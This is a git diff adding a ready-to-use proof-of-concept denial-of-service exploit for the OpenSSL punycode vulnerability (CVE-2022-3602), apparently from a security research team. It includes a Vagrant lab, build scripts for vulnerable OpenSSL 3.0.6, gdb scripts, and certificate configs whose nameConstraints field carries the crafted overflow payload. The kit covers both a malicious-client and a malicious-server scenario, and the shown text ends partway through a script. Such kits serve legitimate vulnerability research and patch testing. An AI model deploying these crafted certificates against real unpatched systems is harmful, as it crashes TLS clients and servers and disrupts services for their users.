diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/README.md b/proof-of-concept-exploits/openssl-punycode-vulnerability/README.md new file mode 100644 index 0000000..4e99e9e --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/README.md @@ -0,0 +1,59 @@ +# OpenSSL punycode vulnerability (CVE-2022-3602) + +This folder contains a proof of concept DoS exploit for the OpenSSL high severity (initially reported as critical) punycode vulnerability tracked as CVE-2022-3602. In this PoC we have a ready-to-use [Vagrant box](#using-vagrant), and a set of [bash scripts](#compile-it-yourself) to help you combile and run the two attack scenarios. + +![openssl vagrant poc](openssl-vagrant-poc.gif "openssl vagrant poc") + + +## Using Vagrant + +This Vagrant configuration will launch the vagrant environment with: +* A Linux Ubuntu box containing the OpenSSL server with a malicious certificate +* A Windows box with the vulnerable OpenSSL client + + +1. Run vagrant +``` +vagrant up +``` + + +2. Initiate RDP access to the windows VM + +``` +vagrant rdp windows +``` + +3. Use any RDP client to connect to the windows VM, using the credentials `vagrant` / `vagrant` + +4. Open the windows command line and navigate to the PoC directory + +``` +cd C:\Users\vagrant\Documents\WindowsCrash\ +``` + +We've compiled openssl.exe for you using the official instructions [here](https://github.com/openssl/openssl/blob/master/NOTES-WINDOWS.md#native-builds-using-visual-c++) + + +5. Connect to the malicious server + +``` +openssl.exe s_client -connect 192.168.56.3:3000 +``` + +As you will see, this will cause openssl.exe to crash when verifying the malicious certificate. You can see details about the crash in the event viewer. + +## Compile it yourself + +We provided a set of easy-to-uuse bash scripts to generate the certificate and run OpenSSL for both scenarios: + +* Malicious client sending crafted certificate to a server which verifies client certificates chain [here](./malicious_client/) +* Malicious server having serving malicious crafted certificates chain to client. Clients will always checks for certificates chain [here](./malicious_server/) + +## Acknowledgements + +- Eslam Salem +- Frederic Baguelin +- Nick Frichette +- Jeremy Fox + diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/README.md b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/README.md new file mode 100644 index 0000000..e47022a --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/README.md @@ -0,0 +1,46 @@ +Several scripts are available to ease the generation of client / server certificates so as to running client / server commands for testing purpose with gdb. + +# run.sh + +## run_vuln_server + +This is the main command that can bootstrap all the environment. + +```run.sh run_vuln_server``` + +1. Fetch OpenSSL source code, statically compile it with debug symbols. It also adds CFLAGS to generate expand files, useful to generate call graph. +2. Build server certificate chains +3. Build client certificate chains +4. start server gdb session with previously openssl binary compiled at step1. Gdb commands will: + * set a breakpoint on the vulnerable function + * run the server command + +Finally as displayed in the script, you just need to trigger the server's vulnerable function with the following command: + +``` +cd client && ./run_client.sh +``` + +## compile + +```run.sh compile``` + +Fetches OpenSSL source code, statically compiles it with debug symbols. It also adds CFLAGS to generate expand files, useful to generate call graph. + +## build_client + +```run.sh build_client``` + +Rebuilds the client certificate chains. Useful if you updated the client configuration and just want to use the new certs. + +## build_server + +```run.sh build_server``` + +Behaves like the previous command but server related. + +## clean / clean_server / clean_client + +```run.sh clean``` + +These commands will delete all files created at build step. You can clean globally by calling clean, or just for server with clean_server, just for client with clean_client diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/client.gdb b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/client.gdb new file mode 100644 index 0000000..b5f3303 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/client.gdb @@ -0,0 +1,2 @@ +#b nc_match_single +r s_client -connect 127.0.0.1:3000 -key certs/client.key.pem -cert certs/client.cert.pem -CAfile certs/cacert.pem -state diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/ca.cnf b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/ca.cnf new file mode 100644 index 0000000..d534d22 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/ca.cnf @@ -0,0 +1,115 @@ +# This definition stops the following lines choking if HOME isn't +# defined. +HOME = . +RANDFILE = $ENV::HOME/.rnd + +# Extra OBJECT IDENTIFIER info: +#oid_file = $ENV::HOME/.oid +oid_section = new_oids + +[ new_oids ] +# Policies used by the TSA examples. +tsa_policy1 = 1.2.3.4.1 +tsa_policy2 = 1.2.3.4.5.6 +tsa_policy3 = 1.2.3.4.5.7 + +#################################################################### +[ ca ] +default_ca = CA_default # The default ca section + +[ CA_default ] +dir = $ENV::PWD # Where everything is kept +certs = $dir/certs # Where the issued certs are kept +database = $dir/index.txt # database index file. + # several certs with same subject. +new_certs_dir = $dir/certs # default place for new certs. +certificate = $dir/certs/cacert.pem # The CA certificate +serial = $dir/serial # The current serial number +crlnumber = $dir/crlnumber # the current crl number + # must be commented out to leave a V1 CRL +private_key = $dir/private/ca.key.pem # The private key + +name_opt = ca_default # Subject Name options +cert_opt = ca_default # Certificate field options + +default_days = 365 # how long to certify for +default_crl_days= 30 # how long before next CRL +default_md = sha256 # use SHA-256 by default +preserve = no # keep passed DN ordering +policy = policy_match + +# For the CA policy +[ policy_match ] +countryName = match +stateOrProvinceName = match +organizationName = match +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ policy_anything ] +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +#################################################################### +[ req ] +default_bits = 2048 +default_md = sha256 +default_keyfile = privkey.pem +distinguished_name = req_distinguished_name +attributes = req_attributes +x509_extensions = v3_ca # The extentions to add to the self signed cert + +[ req_distinguished_name ] +countryName = Country Name (2 letter code) +countryName_default = FR +countryName_value = FR +countryName_min = 2 +countryName_max = 2 +stateOrProvinceName = State or Province Name (full name) +stateOrProvinceName_default = IdF +stateOrProvinceName_value = IdF +localityName = Locality Name (eg, city) +localityName_default = Paris +localityName_value = Paris +0.organizationName = Organization Name (eg, company) +0.organizationName_default = DataDog +0.organizationName_value = DataDog +organizationalUnitName = Organizational Unit Name (eg, section) +organizationalUnitName_default = SecurityResearch +organizationalUnitName_value = SecurityResearch +commonName = Common Name (eg, your name or your server\'s hostname) +commonName_max = 64 +commonName_value = KraftCert +emailAddress = Email Address +emailAddress_max = 64 +emailAddress_value = "" + +[ req_attributes ] +challengePassword = A challenge password +challengePassword_min = 4 +challengePassword_max = 20 +unstructuredName = An optional company name + +[ v3_req ] +# Extensions to add to a certificate request +basicConstraints = CA:FALSE +keyUsage = nonRepudiation, digitalSignature, keyEncipherment + +[ v3_ca ] +# Extensions for a typical CA +subjectKeyIdentifier=hash +authorityKeyIdentifier=keyid:always,issuer +basicConstraints = critical,CA:true + +# Payload is here +nameConstraints = permitted;email:xn--3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2ba@example.com + +[ crl_ext ] +# issuerAltName=issuer:copy +authorityKeyIdentifier=keyid:always diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/client.cnf b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/client.cnf new file mode 100644 index 0000000..9f0d482 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/client.cnf @@ -0,0 +1,27 @@ +[ req ] +distinguished_name = req_distinguished_name + +[ req_distinguished_name ] +countryName = Country Name (2 letter code) +countryName_default = FR +countryName_value = FR +countryName_min = 2 +countryName_max = 2 +stateOrProvinceName = State or Province Name (full name) +stateOrProvinceName_default = IdF +stateOrProvinceName_value = IdF +localityName = Locality Name (eg, city) +localityName_default = Paris +localityName_value = Paris +0.organizationName = Organization Name (eg, company) +0.organizationName_default = DataDog +0.organizationName_value = DataDog +organizationalUnitName = Organizational Unit Name (eg, section) +organizationalUnitName_default = SecurityResearch +organizationalUnitName_value = SecurityResearch +commonName = Common Name (eg, your name or your server\'s hostname) +commonName_max = 64 +commonName_value = MaliciousClientCert +emailAddress = Email Address +emailAddress_max = 64 +emailAddress_value = "" diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/client_ext.cnf b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/client_ext.cnf new file mode 100644 index 0000000..d161703 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/configs/client_ext.cnf @@ -0,0 +1,11 @@ +basicConstraints = critical,CA:false +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid,issuer +nsCertType = client, email +keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment +extendedKeyUsage = clientAuth, emailProtection + +# Need to define subjectAltName with otherName +subjectAltName = @alts +[alts] +otherName = 1.3.6.1.5.5.7.8.9;FORMAT:UTF8,UTF8String:测试@overflow.com diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/gdb_client.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/gdb_client.sh new file mode 100755 index 0000000..0b1fa36 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/gdb_client.sh @@ -0,0 +1 @@ +gdb ../openssl/apps/openssl -command=client.gdb diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/gen.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/gen.sh new file mode 100755 index 0000000..aa4c87b --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/gen.sh @@ -0,0 +1,24 @@ +rm -rf index.txt serial private certs +touch index.txt +echo 01 > serial +mkdir private certs + +######################### +# Create CA certificate # +######################### + +# Generate private key for CA certificate +openssl genrsa -out private/ca.key.pem 2048 +# Generate CA certificate +openssl req -new -x509 -days 3650 -config configs/ca.cnf -key private/ca.key.pem -out certs/cacert.pem + +############################# +# Create Client certificate # +############################# + +# Generate private key for client certificate +openssl genrsa -out certs/client.key.pem 2048 +# Generate CSR for client certificate +openssl req -new -key certs/client.key.pem -config configs/client.cnf -out certs/client.csr +# Create client certificate +openssl ca -config configs/ca.cnf -extfile configs/client_ext.cnf -days 1650 -notext -batch -in certs/client.csr -out certs/client.cert.pem diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/run_client.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/run_client.sh new file mode 100755 index 0000000..0eeb7d6 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/client/run_client.sh @@ -0,0 +1 @@ +../openssl/apps/openssl s_client -connect 127.0.0.1:3000 -key certs/client.key.pem -cert certs/client.cert.pem -CAfile certs/cacert.pem -state diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/run.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/run.sh new file mode 100755 index 0000000..14b76f0 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/run.sh @@ -0,0 +1,79 @@ +cwd=$PWD + +compile () { + if [ ! -f $cwd/openssl/apps/openssl ]; then + echo "[+] Compile debug mode version of OpenSSL 3.0.6" + wget https://github.com/openssl/openssl/archive/refs/tags/openssl-3.0.6.zip + unzip openssl-3.0.6.zip + mv openssl-openssl-3.0.6 openssl + cd openssl + ./Configure no-tests -debug -static && sed -i 's/^CFLAGS=.*/CFLAGS=-Wall -Og -g3 -fno-inline-functions -fdump-rtl-expand/' Makefile && make clean && make -j`nproc` + else + echo "[+] OpenSSL 3.0.6 already compiled: SKIP" + fi +} + +build_server () { + cd $cwd/server + ./gen.sh +} + +clean_server () { + echo "cleaning Server certificates" + rm -rf $cwd/server/certs $cwd/server/private $cwd/server/index.* $cwd/server/serial* +} + +build_client () { + cd $cwd/client + ./gen.sh +} + +clean_client () { + echo "cleaning Server certificates" + rm -rf $cwd/client/certs $cwd/client/private $cwd/client/index.* $cwd/client/serial* +} + +clean () { + rm -rf openssl* + clean_client + clean_server +} + +all () { + compile + build_server + build_client +} + +run_vuln_server () { + compile + build_server + build_client + echo -e "\n===================================================================================\n" + echo -e " RUN MALICIOUS CLIENT\n" + echo "Send crafted certificate with the following command in another term:" + echo "cd $cwd/client && ./run_client.sh" + echo -e "\n===================================================================================\n" + cd $cwd/server + ./gdb_vuln_server.sh +} + +if (test $# -eq 1); then + if (test $1 = "clean"); then + clean + elif (test $1 = "compile"); then + compile + elif (test $1 = "build_server"); then + build_server + elif (test $1 = "build_client"); then + build_client + elif (test $1 = "clean_server"); then + clean_server + elif (test $1 = "clean_client"); then + clean_client + elif (test $1 = "all"); then + all + elif (test $1 = "run_vuln_server"); then + run_vuln_server + fi +fi diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/ca.cnf b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/ca.cnf new file mode 100644 index 0000000..ee19ff8 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/ca.cnf @@ -0,0 +1,109 @@ +# This definition stops the following lines choking if HOME isn't +# defined. +HOME = . +RANDFILE = $ENV::HOME/.rnd + +# Extra OBJECT IDENTIFIER info: +#oid_file = $ENV::HOME/.oid +oid_section = new_oids + +[ new_oids ] +# Policies used by the TSA examples. +tsa_policy1 = 1.2.3.4.1 +tsa_policy2 = 1.2.3.4.5.6 +tsa_policy3 = 1.2.3.4.5.7 + +#################################################################### +[ ca ] +default_ca = CA_default # The default ca section + +[ CA_default ] +dir = $ENV::PWD # Where everything is kept +certs = $dir/certs # Where the issued certs are kept +database = $dir/index.txt # database index file. + # several certs with same subject. +new_certs_dir = $dir/certs # default place for new certs. +certificate = $dir/certs/cacert.pem # The CA certificate +serial = $dir/serial # The current serial number +crlnumber = $dir/crlnumber # the current crl number + # must be commented out to leave a V1 CRL +private_key = $dir/private/ca.key.pem # The private key + +name_opt = ca_default # Subject Name options +cert_opt = ca_default # Certificate field options + +default_days = 365 # how long to certify for +default_crl_days= 30 # how long before next CRL +default_md = sha256 # use SHA-256 by default +preserve = no # keep passed DN ordering +policy = policy_match + +# For the CA policy +[ policy_match ] +countryName = match +stateOrProvinceName = match +organizationName = match +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ policy_anything ] +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +#################################################################### +[ req ] +default_bits = 2048 +default_md = sha256 +default_keyfile = privkey.pem +distinguished_name = req_distinguished_name +#attributes = req_attributes +x509_extensions = v3_ca # The extentions to add to the self signed cert + +[ req_distinguished_name ] +countryName = Country Name (2 letter code) +countryName_default = US +countryName_min = 2 +countryName_max = 2 +countryName_value = US +stateOrProvinceName = State or Province Name (full name) +stateOrProvinceName_default = NY +stateOrProvinceName_value = NY +localityName = Locality Name (eg, city) +localityName_default = NYC +localityName_value = NYC +0.organizationName = Organization Name (eg, company) +0.organizationName_default = DataDog +0.organizationName_value = DataDog +organizationalUnitName = Organizational Unit Name (eg, section) +organizationalUnitName_default = SecurityResearch +organizationalUnitName_value = SecurityResearch +commonName = Common Name (eg, your name or your server\'s hostname) +commonName_max = 64 +commonName_value = RootCA + +[ req_attributes ] +challengePassword = A challenge password +challengePassword_min = 4 +challengePassword_max = 20 +unstructuredName = An optional company name + +[ v3_req ] +# Extensions to add to a certificate request +basicConstraints = CA:FALSE +keyUsage = nonRepudiation, digitalSignature, keyEncipherment + +[ v3_ca ] +# Extensions for a typical CA +subjectKeyIdentifier=hash +authorityKeyIdentifier=keyid:always,issuer +basicConstraints = critical,CA:true + +[ crl_ext ] +# issuerAltName=issuer:copy +authorityKeyIdentifier=keyid:always diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/server.cnf b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/server.cnf new file mode 100644 index 0000000..0aa26d2 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/server.cnf @@ -0,0 +1,24 @@ +[ req ] +distinguished_name = req_distinguished_name + +[ req_distinguished_name ] +countryName = Country Name (2 letter code) +countryName_default = US +countryName_min = 2 +countryName_max = 2 +countryName_value = US +stateOrProvinceName = State or Province Name (full name) +stateOrProvinceName_default = NY +stateOrProvinceName_value = NY +localityName = Locality Name (eg, city) +localityName_default = NYC +localityName_value = NYC +0.organizationName = Organization Name (eg, company) +0.organizationName_default = DataDog +0.organizationName_value = DataDog +organizationalUnitName = Organizational Unit Name (eg, section) +organizationalUnitName_default = SecurityResearch +organizationalUnitName_value = SecurityResearch +commonName = Common Name (eg, your name or your server\'s hostname) +commonName_max = 64 +commonName_value = server diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/server_ext.cnf b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/server_ext.cnf new file mode 100644 index 0000000..6898cc3 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/configs/server_ext.cnf @@ -0,0 +1,6 @@ +basicConstraints = critical,CA:false +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid,issuer:always +nsCertType = server +keyUsage = critical, digitalSignature, keyEncipherment +extendedKeyUsage = serverAuth diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/gdb_vuln_server.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/gdb_vuln_server.sh new file mode 100755 index 0000000..5e8475c --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/gdb_vuln_server.sh @@ -0,0 +1 @@ +gdb ../openssl/apps/openssl -command=server.gdb diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/gen.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/gen.sh new file mode 100755 index 0000000..71e8937 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/gen.sh @@ -0,0 +1,24 @@ +rm -rf index.txt serial private certs +touch index.txt +echo 01 > serial +mkdir private certs + +######################### +# Create CA certificate # +######################### + +# Generate private key for CA certificate +openssl genrsa -out private/ca.key.pem 2048 +# Generate CA certificate +openssl req -new -x509 -days 3650 -config configs/ca.cnf -key private/ca.key.pem -out certs/cacert.pem + +############################# +# Create Server certificate # +############################# + +# Generate private key for client certificate +openssl genrsa -out certs/server.key.pem 2048 +# Generate CSR for client certificate +openssl req -new -key certs/server.key.pem -config configs/server.cnf -out certs/server.csr +# Create client certificate +openssl ca -config configs/ca.cnf -extfile configs/server_ext.cnf -days 1650 -notext -batch -in certs/server.csr -out certs/server.cert.pem diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/run_vuln_server.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/run_vuln_server.sh new file mode 100755 index 0000000..a230bdc --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/run_vuln_server.sh @@ -0,0 +1 @@ +../openssl/apps/openssl s_server -accept 3000 -CAfile certs/cacert.pem -cert certs/server.cert.pem -key certs/server.key.pem -state -verify 1 diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/server.gdb b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/server.gdb new file mode 100644 index 0000000..3b6fe9b --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_client/server/server.gdb @@ -0,0 +1,5 @@ +#b check_name_constraints +#b nc_match +#b nc_match_single +b ossl_punycode_decode +r s_server -accept 127.0.0.1:3000 -CAfile certs/cacert.pem -cert certs/server.cert.pem -key certs/server.key.pem -state -verify 1 diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/client.gdb b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/client.gdb new file mode 100644 index 0000000..6ea3c47 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/client.gdb @@ -0,0 +1,5 @@ +#b check_name_constraints +#b nc_match +#b nc_match_single +b ossl_punycode_decode +r s_client -connect 127.0.0.1:3000 -state -CAfile ../server/certs/trusted.pem diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/gdb_client.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/gdb_client.sh new file mode 100755 index 0000000..0b1fa36 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/gdb_client.sh @@ -0,0 +1 @@ +gdb ../openssl/apps/openssl -command=client.gdb diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/run_client.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/run_client.sh new file mode 100755 index 0000000..bc58f62 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/client/run_client.sh @@ -0,0 +1 @@ +../openssl/apps/openssl s_client -connect 127.0.0.1:3000 -state diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/run.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/run.sh new file mode 100755 index 0000000..3a900d5 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/run.sh @@ -0,0 +1,58 @@ +cwd=$PWD + +compile () { + if [ ! -f $cwd/openssl/apps/openssl ]; then + echo "[+] Compile debug mode version of OpenSSL 3.0.6" + wget https://github.com/openssl/openssl/archive/refs/tags/openssl-3.0.6.zip + unzip openssl-3.0.6.zip + mv openssl-openssl-3.0.6 openssl + cd openssl + ./Configure no-tests -debug -static && sed -i 's/^CFLAGS=.*/CFLAGS=-Wall -Og -g3 -fno-inline-functions -fdump-rtl-expand/' Makefile && make clean && make -j`nproc` + else + echo "[+] OpenSSL 3.0.6 already compiled: SKIP" + fi +} + +build_server () { + cd $cwd/server + ./gen.sh +} + +clean_server () { + echo "cleaning Server certificates" + rm -rf $cwd/server/certs $cwd/server/private $cwd/server/index.* $cwd/server/serial* +} + +clean () { + rm -rf openssl* + clean_server +} + +run_server () { + compile + build_server + cd $cwd/server + ./run_server.sh +} + +run_vuln_client () { + compile + cd $cwd/client + ./gdb_client.sh +} + +if (test $# -eq 1); then + if (test $1 = "clean"); then + clean + elif (test $1 = "compile"); then + compile + elif (test $1 = "build_server"); then + build_server + elif (test $1 = "clean_server"); then + clean_server + elif (test $1 = "run_vuln_client"); then + run_vuln_client + elif (test $1 = "run_server"); then + run_server + fi +fi diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/ca.cnf b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/ca.cnf new file mode 100644 index 0000000..f2e4733 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/ca.cnf @@ -0,0 +1,112 @@ +# This definition stops the following lines choking if HOME isn't +# defined. +HOME = . +RANDFILE = $ENV::HOME/.rnd + +# Extra OBJECT IDENTIFIER info: +#oid_file = $ENV::HOME/.oid +oid_section = new_oids + +[ new_oids ] +# Policies used by the TSA examples. +tsa_policy1 = 1.2.3.4.1 +tsa_policy2 = 1.2.3.4.5.6 +tsa_policy3 = 1.2.3.4.5.7 + +#################################################################### +[ ca ] +default_ca = CA_default # The default ca section + +[ CA_default ] +dir = $ENV::PWD # Where everything is kept +certs = $dir/certs # Where the issued certs are kept +database = $dir/index.txt # database index file. + # several certs with same subject. +new_certs_dir = $dir/certs # default place for new certs. +certificate = $dir/certs/cacert.pem # The CA certificate +serial = $dir/serial # The current serial number +crlnumber = $dir/crlnumber # the current crl number + # must be commented out to leave a V1 CRL +private_key = $dir/private/ca.key.pem # The private key + +name_opt = ca_default # Subject Name options +cert_opt = ca_default # Certificate field options + +default_days = 365 # how long to certify for +default_crl_days= 30 # how long before next CRL +default_md = sha256 # use SHA-256 by default +preserve = no # keep passed DN ordering +policy = policy_match + +# For the CA policy +[ policy_match ] +countryName = match +stateOrProvinceName = match +organizationName = match +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +[ policy_anything ] +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied +emailAddress = optional + +#################################################################### +[ req ] +default_bits = 2048 +default_md = sha256 +default_keyfile = privkey.pem +distinguished_name = req_distinguished_name +#attributes = req_attributes +x509_extensions = v3_ca # The extentions to add to the self signed cert + +[ req_distinguished_name ] +countryName = Country Name (2 letter code) +countryName_default = US +countryName_min = 2 +countryName_max = 2 +countryName_value = US +stateOrProvinceName = State or Province Name (full name) +stateOrProvinceName_default = NY +stateOrProvinceName_value = NY +localityName = Locality Name (eg, city) +localityName_default = NYC +localityName_value = NYC +0.organizationName = Organization Name (eg, company) +0.organizationName_default = DataDog +0.organizationName_value = DataDog +organizationalUnitName = Organizational Unit Name (eg, section) +organizationalUnitName_default = SecurityResearch +organizationalUnitName_value = SecurityResearch +commonName = Common Name (eg, your name or your server\'s hostname) +commonName_max = 64 +commonName_value = RootCA + +[ req_attributes ] +challengePassword = A challenge password +challengePassword_min = 4 +challengePassword_max = 20 +unstructuredName = An optional company name + +[ v3_req ] +# Extensions to add to a certificate request +basicConstraints = CA:FALSE +keyUsage = nonRepudiation, digitalSignature, keyEncipherment + +[ v3_ca ] +# Extensions for a typical CA +subjectKeyIdentifier=hash +authorityKeyIdentifier=keyid:always,issuer +basicConstraints = critical,CA:true,pathlen:1 + +# Payload is here +nameConstraints = permitted;email:xn--3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2b3B-ww4c5e180e575a65lsy2ba@example.com + +[ crl_ext ] +# issuerAltName=issuer:copy +authorityKeyIdentifier=keyid:always diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/server.cnf b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/server.cnf new file mode 100644 index 0000000..931aec4 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/server.cnf @@ -0,0 +1,25 @@ +[ req ] +distinguished_name = req_distinguished_name + +[ req_distinguished_name ] +countryName = Country Name (2 letter code) +countryName_default = US +countryName_min = 2 +countryName_max = 2 +countryName_value = US +stateOrProvinceName = State or Province Name (full name) +stateOrProvinceName_default = NY +stateOrProvinceName_value = NY +localityName = Locality Name (eg, city) +localityName_default = NYC +localityName_value = NYC +0.organizationName = Organization Name (eg, company) +0.organizationName_default = DataDog +0.organizationName_value = DataDog +organizationalUnitName = Organizational Unit Name (eg, section) +organizationalUnitName_default = SecurityResearch +organizationalUnitName_value = SecurityResearch +commonName = Common Name (eg, your name or your server\'s hostname) +commonName_max = 64 +commonName_value = MaliciousServerCert + diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/server_ext.cnf b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/server_ext.cnf new file mode 100644 index 0000000..211f7ee --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/configs/server_ext.cnf @@ -0,0 +1,11 @@ +basicConstraints = critical,CA:false +subjectKeyIdentifier = hash +authorityKeyIdentifier = keyid,issuer:always +nsCertType = server +keyUsage = critical, digitalSignature, keyEncipherment +extendedKeyUsage = serverAuth + +# Define subjectAltName with otherName +subjectAltName = @alts +[alts] +otherName = 1.3.6.1.5.5.7.8.9;FORMAT:UTF8,UTF8String:测试@overflow.com diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/gen.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/gen.sh new file mode 100755 index 0000000..b388028 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/gen.sh @@ -0,0 +1,26 @@ +rm -rf index.txt serial private certs +touch index.txt +echo 01 > serial +mkdir private certs + +######################### +# Create CA certificate # +######################### + +# Generate private key for CA certificate +openssl genrsa -out private/ca.key.pem 2048 +# Generate CA certificate +openssl req -new -x509 -days 3650 -config configs/ca.cnf -key private/ca.key.pem -out certs/cacert.pem + +############################# +# Create Server certificate # +############################# + 